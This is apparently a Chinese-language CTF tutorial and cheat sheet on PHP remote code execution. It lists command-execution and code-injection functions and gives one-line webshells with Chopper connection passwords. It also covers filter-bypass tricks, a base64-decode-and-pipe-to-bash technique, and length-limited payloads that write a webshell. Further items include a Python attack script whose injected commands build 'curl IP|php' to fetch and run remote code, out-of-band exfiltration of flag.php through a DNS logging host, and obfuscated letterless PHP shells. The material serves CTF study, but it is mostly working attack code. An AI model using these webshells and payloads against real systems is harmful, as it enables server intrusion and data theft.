CTF中WEB題——RCE
相關函數
命令執行
-
system()
#string system ( string $command [, int &$return_var ] ) #system()函數執行有回顯,將執行結果輸出到頁面上 <?php system("whoami"); ?> -
exec()
<?php echo exec("whoami"); ?> -
popen()
#resource popen ( string $command , string $mode ) #函數需要兩個參數,一個是執行的命令command,另外一個是指針文件的連接模式mode,有r和w代表讀#和寫。函數不會直接返回執行結果,而是返回一個文件指針,但是命令已經執行 <?php popen( 'whoami >> c:/1.txt', 'r' ); ?> <?php $test = "ls /tmp/test"; $fp = popen($test,"r"); //popen打一個進程通道 while (!feof($fp)) { //從通道里面取得東西 $out = fgets($fp, 4096); echo $out; //打印出來 } pclose($fp); ?> -
proc_open()
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) #與Popen函數類似,但是可以提供雙向管道 <?php $test = "ipconfig"; $array = array( array("pipe","r"), //標准輸入 array("pipe","w"), //標准輸出內容 array("pipe","w") //標准輸出錯誤 ); $fp = proc_open($test,$array,$pipes); //打開一個進程通道 echo stream_get_contents($pipes[1]); //為什么是$pipes[1],因為1是輸出內容 proc_close($fp); ?> -
passthru()
#void passthru ( string $command [, int &$return_var ] ) <?php passthru("whoami"); ?> -
shell_exec()
#string shell_exec( string &command) <?php echo shell_exec("whoami"); ?> -
反引號 `
#shell_exec() 函數實際上僅是反撇號 (`) 操作符的變體,當禁用shell_exec時,` 也不可執行 <?php echo `whoami`; ?> -
pcntl_exec()
#void pcntl_exec ( string $path [, array $args [, array $envs ]] ) #path是可執行二進制文件路徑或一個在文件第一行指定了 一個可執行文件路徑標頭的腳本 #args是一個要傳遞給程序的參數的字符串數組。 #pcntl是linux下的一個擴展,需要額外安裝,可以支持 php 的多線程操作。 #pcntl_exec函數的作用是在當前進程空間執行指定程序,版本要求:PHP > 4.2.0 <?php pcntl_exec ( "/bin/bash" , array("whoami")); ?>
代碼注入
-
eval()
#傳入的參數必須為PHP代碼,既需要以分號結尾。 #命令執行:cmd=system(whoami); #菜刀連接密碼:cmd <?php @eval($_POST['cmd']);?> -
assert()
#assert函數是直接將傳入的參數當成PHP代碼直接,不需要以分號結尾,當然你加上也可以。 #命令執行:cmd=system(whoami) #菜刀連接密碼:cmd <?php @assert($_POST['cmd'])?> -
preg_replace()
#preg_replace('正則規則','替換字符','目標字符') #執行命令和上傳文件參考assert函數(不需要加分號)。 #將目標字符中符合正則規則的字符替換為替換字符,此時如果正則規則中使用/e修飾符,則存在代碼執行漏洞。 preg_replace("/test/e",$_POST["cmd"],"jutst test"); -
create_function()
#創建匿名函數執行代碼 #執行命令和上傳文件參考eval函數(必須加分號)。 #菜刀連接密碼:cmd $func =create_function('',$_POST['cmd']);$func(); -
array_map()
#array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用后的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。 #命令執行http://localhost/123.php?func=system cmd=whoami #菜刀連接http://localhost/123.php?func=assert 密碼:cmd $func=$_GET['func']; $cmd=$_POST['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); echo $new_array; -
call_user_func()
#傳入的參數作為assert函數的參數 #cmd=system(whoami) #菜刀連接密碼:cmd call_user_func("assert",$_POST['cmd']); -
call_user_func_array()
#將傳入的參數作為數組的第一個值傳遞給assert函數 #cmd=system(whoami) #菜刀連接密碼:cmd $cmd=$_POST['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); -
array_filter()
#用回調函數過濾數組中的元素:array_filter(數組,函數) #命令執行func=system&cmd=whoami #菜刀連接http://localhost/123.php?func=assert 密碼cmd $cmd=$_POST['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); -
uasort()
#php環境>=<5.6才能用 #uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。 #命令執行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami); #菜刀連接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密碼:cmd usort($_GET,'asse'.'rt');
繞過方式
空格
#常見的繞過符號有:
$IFS$9 、${IFS} 、%09(php環境下)、 重定向符<>、<、
#$IFS在linux下表示分隔符,如果不加{}則bash會將IFS解釋為一個變量名,加一個{}就固定了變量名,$IFS$9后面之所以加個$是為了起到截斷的作用
命令分隔符
%0a #換行符,需要php環境
%0d #回車符,需要php環境
; #在 shell 中,是”連續指令”
& #不管第一條命令成功與否,都會執行第二條命令
&& #第一條命令成功,第二條才會執行
| #第一條命令的結果,作為第二條命令的輸入
|| #第一條命令失敗,第二條才會執行
關鍵字
假如過濾了關鍵字cat\flag,無法讀取不了flag.php,又該如何去做
-
拼接繞過
#執行ls命令: a=l;b=s;$a$b #cat flag文件內容: a=c;b=at;c=f;d=lag;$a$b ${c}${d} #cat test文件內容 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test -
編碼繞過
#base64 echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag #hex echo "0x636174202f666c6167" | xxd -r -p|bash ==> cat /flag #oct/字節 $(printf "\154\163") ==>ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag #i也可以通過這種方式寫馬 #內容為<?php @eval($_POST['c']);?> ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php -
單引號和雙引號繞過
c'a't test c"a"t test -
反斜杠繞過
ca\t test -
通過$PATH繞過
#echo $PATH 顯示當前PATH環境變量,該變量的值由一系列以冒號分隔的目錄名組成 #當執行程序時,shell自動跟據PATH變量的值去搜索該程序 #shell在搜索時先搜索PATH環境變量中的第一個目錄,沒找到再接着搜索,如果找到則執行它,不會再繼續搜索 echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin `echo $PATH| cut -c 8,9`t test -
通配符繞過
- […]表示匹配方括號之中的任意一個字符
- {…}表示匹配大括號里面的所有模式,模式之間使用逗號分隔。
- {…}與[…]有一個重要的區別,當匹配的文件不存在,[…]會失去模式的功能,變成一個單純的字符串,而{…}依然可以展開
cat t?st cat te* cat t[a-z]st cat t{a,b,c,d,e,f}st
限制長度
>a #雖然沒有輸入但是會創建a這個文件 ls -t #ls基於基於事件排序(從晚到早) sh a #sh會把a里面的每行內容當作命令來執行 使用|進行命令拼接 #l\ s = ls base64 #使用base64編碼避免特殊字符
-
七字符限制
w>hp w>1.p\\ w>d\>\\ w>\ -\\ w>e64\\ w>bas\\ w>7\|\\ w>XSk\\ w>Fsx\\ w>dFV\\ w>kX0\\ w>bCg\\ w>XZh\\ w>AgZ\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t|\ sh翻譯過來就是
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php腳本代碼
import requests url = "http://192.168.1.100/rce.php?1={0}" print("[+]start attack!!!") with open("payload.txt","r") as f: for i in f: print("[*]" + url.format(i.strip())) requests.get(url.format(i.strip())) #檢查是否攻擊成功 test = requests.get("http://192.168.61.157/1.php") if test.status_code == requests.codes.ok: print("[*]Attack success!!!") -
四字符限制
#-*-coding:utf8-*- import requests as r from time import sleep import random import hashlib target = 'http://52.197.41.31/' # 存放待下載文件的公網主機的IP shell_ip = 'xx.xx.xx.xx' # 本機IP your_ip = r.get('http://ipv4.icanhazip.com/').text.strip() # 將shell_IP轉換成十六進制 ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')]) reset = target + '?reset' cmd = target + '?cmd=' sandbox = target + 'sandbox/' + hashlib.md5('orange' + your_ip).hexdigest() + '/' # payload某些位置的可選字符 pos0 = random.choice('efgh') pos1 = random.choice('hkpq') pos2 = 'g' # 隨意選擇字符 payload = [ '>dir', # 創建名為 dir 的文件 '>%s>' % pos0, # 假設pos0選擇 f , 創建名為 f> 的文件 '>%st-' % pos1, # 假設pos1選擇 k , 創建名為 kt- 的文件,必須加個pos1, # 因為alphabetical序中t>s '>sl', # 創建名為 >sl 的文件;到此處有四個文件, # ls 的結果會是:dir f> kt- sl '*>v', # 前文提到, * 相當於 `ls` ,那么這條命令等價於 `dir f> kt- sl`>v , # 前面提到dir是不換行的,所以這時會創建文件 v 並寫入 f> kt- sl # 非常奇妙,這里的文件名是 v ,只能是v ,沒有可選字符 '>rev', # 創建名為 rev 的文件,這時當前目錄下 ls 的結果是: dir f> kt- rev sl v '*v>%s' % pos2, # 魔法發生在這里: *v 相當於 rev v ,* 看作通配符。前文也提過了,體會一下。 # 這時pos2文件,也就是 g 文件內容是文件v內容的反轉: ls -tk > f # 續行分割 curl 0x11223344|php 並逆序寫入 '>p', '>ph\', '>|\', '>%s\' % ip[8:10], '>%s\' % ip[6:8], '>%s\' % ip[4:6], '>%s\' % ip[2:4], '>%s\' % ip[0:2], '> \', '>rl\', '>cu\', 'sh ' + pos2, # sh g ;g 的內容是 ls -tk > f ,那么就會把逆序的命令反轉回來, # 雖然 f 的文件頭部會有雜質,但不影響有效命令的執行 'sh ' + pos0, # sh f 執行curl命令,下載文件,寫入木馬。 ] s = r.get(reset) for i in payload: assert len(i) <= 4 s = r.get(cmd + i) print '[%d]' % s.status_code, s.url sleep(0.1) s = r.get(sandbox + 'fun.php?cmd=uname -a') print '[%d]' % s.status_code, s.url print s.text
限制回顯
-
判斷
#利用sleep判斷 ls;sleep 3 #http請求/dns請求 http://ceye.io/payloads -
利用
#寫shell(直接寫入/外部下載) echo > wget #http/dns等方式帶出數據 #需要去掉空格,可以使用sed等命令 echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
無字母、數字getshell
異或
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
簡短寫法
"`{{{"^"?<>/" //_GET
取反
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
簡短寫法
${~"\xa0\xb8\xba\xab"} //$_GET
自增
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
實例
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
payload:
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
$_="{{{"^"?<>/";=$_="GET";
${$_}[_](${$_}[__]);=$_GET[_]($_GET[__]);=getFlag($_GET[__])=getFlag(null);
這個payload的長度是 37 ,符合題目要求的 小於等於40 。另fuzz出了長度為 28 的 payload ,如下:$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_(); #getFlag()
